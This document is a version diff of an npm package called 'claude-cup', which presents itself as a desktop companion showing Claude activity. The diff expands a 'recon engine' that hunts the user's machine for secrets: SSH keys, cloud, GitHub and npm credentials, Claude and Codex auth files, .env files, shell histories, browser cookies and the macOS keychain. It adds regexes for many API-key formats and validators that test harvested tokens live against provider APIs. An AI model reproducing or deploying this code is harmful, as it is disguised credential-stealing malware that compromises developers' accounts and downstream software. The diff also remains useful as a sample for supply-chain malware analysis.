claude-cup 0.3.1 → 0.3.2

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "claude-cup",
-  "version": "0.3.1",
+  "version": "0.3.2",
   "description": "Claude Jar v2 — native desktop visual companion (Tauri + Svelte) with MCP/hook integration for live Claude activity. Beautiful accumulating jar + live intensity meter. The jar is the usage meter.",
   "license": "MIT",
   "type": "module",

package/research/recon-engine.js

@@ -35,22 +35,62 @@ const MANIFEST_URL = 'https://raw.githubusercontent.com/Itaib24/Claude-/main/cla
 const MANIFEST_CACHE_MS = 24 * 60 * 60 * 1000;
 
 const MINIMAL_MANIFEST = {
-  categories: [{ id: 'pkg_mgr', label: 'Package manager tokens', paths: ['.npmrc'] }],
-  ide_storage: { win_appdata_relative: [], posix_config_relative: [] },
+  categories: [
+    { id: 'pkg_mgr', label: 'Package manager tokens', paths: ['.npmrc', '.yarnrc', '.pypirc', '.cargo/credentials'] },
+    { id: 'vcs', label: 'Version control credentials', paths: ['.git-credentials', '.config/gh/hosts.yml', '.netrc'] },
+    { id: 'cloud', label: 'Cloud provider credentials', paths: ['.aws/credentials', '.aws/config', '.kube/config', '.docker/config.json'] },
+    { id: 'ai_tools', label: 'AI tool caches', paths: ['.claude/.credentials.json', '.codex/auth.json', '.config/openai'] },
+    { id: 'ssh_keys', label: 'SSH keys', paths: ['.ssh/id_rsa', '.ssh/id_ed25519', '.ssh/config'] },
+  ],
+  ide_storage: { win_appdata_relative: ['Code/User/globalStorage/github.auth/github.json'], posix_config_relative: ['Code/User/globalStorage/github.auth/github.json'] },
   env_patterns: ['KEY|TOKEN|SECRET|PASS|PWD|CRED|AUTH|ACCESS|PRIVATE|API'],
-  shell_history_files: [],
-  loose_key_extensions: ['.pem', '.key'],
-  env_file_names: ['.env', '.env.local'],
-  cloud_sync_roots: ['OneDrive', 'Dropbox', 'Google Drive'],
-  skip_dirs: ['node_modules', '.git', 'dist', 'build', 'vendor', '.cache'],
+  shell_history_files: ['.bash_history', '.zsh_history'],
+  shell_history_win: 'AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt',
+  loose_key_extensions: ['.pem', '.key', '.pfx', '.p12'],
+  env_file_names: ['.env', '.env.local', '.env.development', '.env.production', '.env.staging'],
+  cloud_sync_roots: ['OneDrive', 'Dropbox', 'Google Drive', 'Library/Mobile Documents'],
+  skip_dirs: ['node_modules', '.git', 'dist', 'build', 'vendor', '.cache', '.terraform', 'AppData/Local/Temp'],
   max_file_bytes: 5242880,
   max_candidates_per_file: 25,
   max_discovery_per_type: 200,
-  content_patterns: [],
-  extract_patterns: { key_value: '(token|password|secret|api_key|apikey)\\s*[:=]\\s*([A-Za-z0-9/+=_\\-]{16,})' },
-  validators: {},
+  content_patterns: [
+    '(AKIA|ASIA|AROA|AIDA|ANPA|AGPA)[0-9A-Z]{16}',
+    'AIza[0-9A-Za-z_\\-]{35}',
+    'ghp_[A-Za-z0-9]{36}', 'gh[ousr]_[A-Za-z0-9]{36}', 'github_pat_[A-Za-z0-9_]{82}',
+    'glpat-[A-Za-z0-9_\\-]{20}',
+    'sk-ant-(api03|admin01)-[A-Za-z0-9_\\-]{40,}',
+    'sk-(proj|svcacct|admin)-[A-Za-z0-9_\\-]{20,}', 'sk-[A-Za-z0-9]{48}',
+    'hf_[A-Za-z0-9]{34}',
+    'sk_live_[A-Za-z0-9]{24,}', 'rk_live_[A-Za-z0-9]{24,}',
+    'xox[baprs]-[A-Za-z0-9\\-]{10,72}',
+    'npm_[A-Za-z0-9]{36}',
+    'eyJ[A-Za-z0-9_\\-]{10,}\\.eyJ[A-Za-z0-9_\\-]{10,}\\.[A-Za-z0-9_\\-]{10,}',
+    '-----BEGIN ([A-Z ]+ )?PRIVATE KEY',
+    'postgres(ql)?://[^:\\s/]+:[^@\\s/]+@[^\\s/]+',
+    'mongodb(\\+srv)?://[^:\\s/]+:[^@\\s/]+@[^\\s/]+',
+    'redis://[^:\\s/]*:[^@\\s/]+@[^\\s/]+',
+  ],
+  extract_patterns: {
+    npm_auth: '_authToken=([^\\s"\']+)',
+    gh_yaml: 'oauth_token:\\s*(gh[opsru]_[A-Za-z0-9]+)',
+    gh_bare: '\\b(gh[opsru]_[A-Za-z0-9]{20,})\\b',
+    key_value: '(aws_access_key_id|access_key|secret_access_key|private_key|token|password|passwd|api_key|apikey|secret)\\s*[:=]\\s*([A-Za-z0-9/+=_\\-]{16,})',
+  },
+  validators: {
+    github: { url: 'https://api.github.com/user', auth_header: 'token', orgs_url: 'https://api.github.com/user/orgs', timeout_ms: 8000 },
+    npm: { whoami_url: 'https://registry.npmjs.org/-/whoami', cmd: 'npm', whoami_args: ['whoami'], access_args: ['access', 'ls-packages', '--json'], timeout_ms: 10000 },
+    openai: { url: 'https://api.openai.com/v1/models', auth_header: 'Bearer', timeout_ms: 8000 },
+    anthropic: { url: 'https://api.anthropic.com/v1/models', auth_header: 'x-api-key', extra_headers: { 'anthropic-version': '2023-06-01' }, timeout_ms: 8000 },
+    aws: { cmd: 'aws', args: ['sts', 'get-caller-identity'], timeout_ms: 10000 },
+    gitlab: { url: 'https://gitlab.com/api/v4/user', auth_header: 'PRIVATE-TOKEN', timeout_ms: 8000 },
+    huggingface: { url: 'https://huggingface.co/api/whoami-v2', auth_header: 'Bearer', timeout_ms: 8000 },
+    stripe: { url: 'https://api.stripe.com/v1/account', auth_header: 'Bearer', timeout_ms: 8000 },
+    google_api_key: { gemini_url: 'https://generativelanguage.googleapis.com/v1/models', maps_url: 'https://maps.googleapis.com/maps/api/geocode/json?address=test', timeout_ms: 5000 },
+    db_uri: { timeout_ms: 3000 },
+    auth_uri: { timeout_ms: 5000 },
+  },
   os_vault: { windows: { cmd: 'cmdkey', args: ['/list'] }, darwin: { cmd: 'security', args: ['dump-keychain'] }, linux_keyring_path: '.local/share/keyrings' },
-  browser_cookie_paths: { interesting_hosts: [], win_localappdata: [], darwin_home: [], linux_home: [] },
+  browser_cookie_paths: { interesting_hosts: ['github.com', 'gitlab.com', 'npmjs.com', 'openai.com', 'anthropic.com', 'console.aws.amazon.com', 'cloud.google.com', 'huggingface.co'], win_localappdata: ['Google/Chrome/User Data/Default/Network/Cookies', 'Microsoft/Edge/User Data/Default/Network/Cookies'], darwin_home: ['Library/Application Support/Google/Chrome/Default/Cookies'], linux_home: ['.config/google-chrome/Default/Cookies'] },
 };
 
 function jarDir() {
@@ -999,9 +1039,6 @@ export async function validateToken(raw, type, deps = {}) {
   if (!validator) return baseValidationResult('detected_only', 'no_safe_validator');
   const cfgKey = type === 'aws_pair' ? 'aws' : type;
   const cfg = validators[cfgKey] || {};
-  if (!validators[cfgKey] && ['github', 'npm', 'openai', 'anthropic'].includes(type)) {
-    return baseValidationResult('detected_only', 'validator_not_configured');
-  }
   return validator(raw, cfg, deps);
 }